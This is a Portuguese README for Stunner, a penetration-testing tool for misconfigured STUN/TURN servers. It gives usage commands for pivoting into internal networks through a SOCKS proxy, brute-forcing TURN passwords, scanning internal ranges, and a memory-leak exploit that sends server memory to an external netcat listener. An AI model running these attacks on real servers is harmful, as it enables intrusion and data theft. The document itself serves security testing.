
Testar e explorar servidores STUN/TURN por configurações incorretas, permitindo o pivoteamento de rede interna via proxy SOCKS, ataques de vazamento de memória e varredura de portas internas.
Stunner é uma ferramenta para testar e explorar servidores STUN, TURN e TURN sobre TCP. TURN é um protocolo usado principalmente em videoconferências e chats de áudio (WebRTC).
Se você encontrar um servidor mal configurado, pode usar esta ferramenta para abrir um proxy socks local que retransmite todo o tráfego via protocolo TURN para a rede interna atrás do servidor.
Desenvolvi esta ferramenta durante um teste do Cisco Expressway, que resultou em algumas vulnerabilidades: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
Para obter o nome de usuário e senha necessários, você precisa buscá-los usando um método fora de banda, como farejar a solicitação Connect de um navegador web com Burp. Adicionei um exemplo de fluxo de trabalho no final do readme sobre como você testaria tal servidor.
Este trabalho está licenciado sob a Licença Creative Commons Atribuição-NãoComercial-CompartilhaIgual 4.0 Internacional. Para visualizar uma cópia desta licença, visite http://creativecommons.org/licenses/by-nc-sa/4.0/ ou envie uma carta para Creative Commons, PO Box 1866, Mountain View, CA 94042, EUA.
STUN: RFC 5389
TURN: RFC 5766
TURN para TCP: RFC 6062
Extensão do TURN para IPv6: RFC 6156
Este comando exibirá algumas informações sobre o servidor stun ou turn, como protocolos suportados e atributos, como o software utilizado.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
Este comando tenta várias faixas privadas e restritas para ver se o servidor TURN está configurado para permitir conexões aos endereços IP especificados. Se uma faixa específica não for proibida, você pode enumerar essa faixa com os outros comandos fornecidos. Se um IP for alcançável, significa que o servidor TURN encaminhará tráfego para este IP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
Conexão TURN baseada em TCP (conexão sua para o servidor TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
Conexão TURN baseada em UDP (conexão sua para o servidor TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
Este é um dos comandos mais úteis para servidores TURN que suportam conexões TCP para servidores de backend. Ele iniciará um servidor socks5 local sem autenticação e retransmitirá todo o tráfego TCP através do protocolo TURN (UDP via SOCKS não é suportado atualmente). Se o servidor estiver mal configurado, ele encaminhará o tráfego para endereços internos, então isso pode ser usado para alcançar sistemas internos e abusar do servidor como um proxy para a rede interna. Se você optar por também fazer consultas DNS via socks, elas serão resolvidas usando seu servidor de nomes local, portanto é melhor trabalhar com endereços IPv4 e IPv6 privados. Esteja ciente de que este módulo só pode retransmitir tráfego TCP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
Após iniciar o proxy, abra seu navegador, aponte o proxy nas configurações para socks5 com um IP de 127.0.0.1:1080 (certifique-se de não marcar a opção de ignorar endereço local, pois queremos alcançar os endereços locais remotos) e chame o IP de sua escolha no navegador.
Exemplo: https://127.0.0.1, https://127.0.0.1:8443 ou https://[::1]:8443 (esses chamarão as portas no servidor TURN testado a partir das interfaces locais).
Você também pode configurar proxychains para usar este proxy (mas será muito lento, pois cada requisição resulta em múltiplas requisições para habilitar o proxy). Basta editar /etc/proxychains.conf e inserir o valor socks5 127.0.0.1 1080 em ProxyList.
Exemplo de nmap através deste proxy socks5 com proxychains configurado corretamente (note que é -sT para fazer TCP syn, caso contrário não usará o proxy socks5)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
Provavelmente não produzirá informações úteis, mas pode ser útil para enumerar todos os transportes disponíveis (=protocolos para sistemas internos) suportados pelo servidor. Isso pode mostrar algumas implementações de protocolo personalizadas, mas na maioria das vezes retornará apenas os padrões.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
Este comando tenta todas as senhas de um arquivo fornecido para um nome de usuário através do protocolo TURN (UDP). Isso pode ser útil ao analisar um pcap onde você pode ver o nome de usuário, mas não a senha. Observe que uma força bruta offline é muito mais rápida neste caso.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
Este ataque funciona da seguinte forma:
O servidor pega os dados para enviar ao target (deve ser uma porta alta > 1024 na maioria dos casos) como um TLV (Type Length Value).
Este exploit usa um grande comprimento com um valor curto. Se o servidor não verificar os limites do TLV, ele pode enviar alguma memória até o length para o target. O Cisco Expressway foi confirmado vulnerável a isso, mas de acordo com a Cisco, ele apenas vazou memória da sessão atual.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
Para receber os dados, precisamos configurar um receptor em um servidor com IP público. Normalmente, firewalls são configurados para permitir apenas portas altas (>1024) de servidores TURN, portanto, certifique-se de usar uma porta alta como 8080 neste exemplo ao conectar-se à internet.
sudo nc -u -l -n -v -p 8080 | hexdump -C
então execute a seguinte instrução em sua máquina adicionando o IP público ao parâmetro t
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
Se funcionar, você deve ver grandes cargas de memória chegando; caso contrário, verá apenas mensagens curtas.
Se um servidor TURN permitir conexões UDP para destinos internos, este scanner pode ser usado para escanear todas as faixas de IP privadas e enviar requisições SNMP e DNS para elas. Como isso verifica muitos IPs, pode levar vários dias para ser concluído, então use com cautela ou especifique destinos menores através dos parâmetros. Você precisa fornecer uma string de comunidade SNMP que será tentada e um nome de domínio que será resolvido em cada IP. Para o nome de domínio, você pode usar, por exemplo, burp collaborator.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
Igual ao udp-scanner, mas envia requisições HTTP para as portas especificadas (HTTPS não é suportado)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
Digamos que você encontre um serviço usando WebRTC e queira testá-lo.
O primeiro passo é obter os dados necessários. Sugiro iniciar o Wireshark em segundo plano e simplesmente entrar em uma reunião via Burp para coletar todo o tráfego HTTP e Websocket. Em seguida, pesquise no histórico do burp por algumas palavras-chave relacionadas ao TURN, como 3478, password, credential e username (certifique-se de verificar também a aba de websocket para essas palavras-chave). Isso pode revelar o servidor turn e o protocolo (endpoints UDP e TCP podem ter portas diferentes) e as credenciais usadas para conectar. Se você não encontrar os dados no burp, comece a olhar no wireshark para identificar o tráfego. Se estiver em uma porta não padrão (qualquer outra diferente de 3478), decodifique o protocolo no Wireshark com um clique direito como STUN. Isso deve mostrar o nome de usuário usado para conectar, e você pode usar essa informação para pesquisar ainda mais no histórico do burp pelos dados necessários. Observe que o Wireshark não pode mostrar a senha, pois a senha é usada para fazer hash de alguns conteúdos de pacotes, portanto não pode ser revertida.
O próximo passo seria emitir o comando info para o servidor turn usando a porta e o protocolo corretos obtidos do burp.
Se isso funcionar, o próximo passo é um range-scan. Se isso permitir tráfego para sistemas internos, você pode explorar isso ainda mais, mas esteja ciente de que o UDP tem apenas casos de uso limitados.
Se conexões TCP para sistemas internos forem permitidas, simplesmente execute o comando socks e acesse os IPs permitidos através de um navegador, definindo o proxy socks para 127.0.0.1:1080. Você pode testar 127.0.0.1:443 e outros IPs para encontrar interfaces de gerenciamento.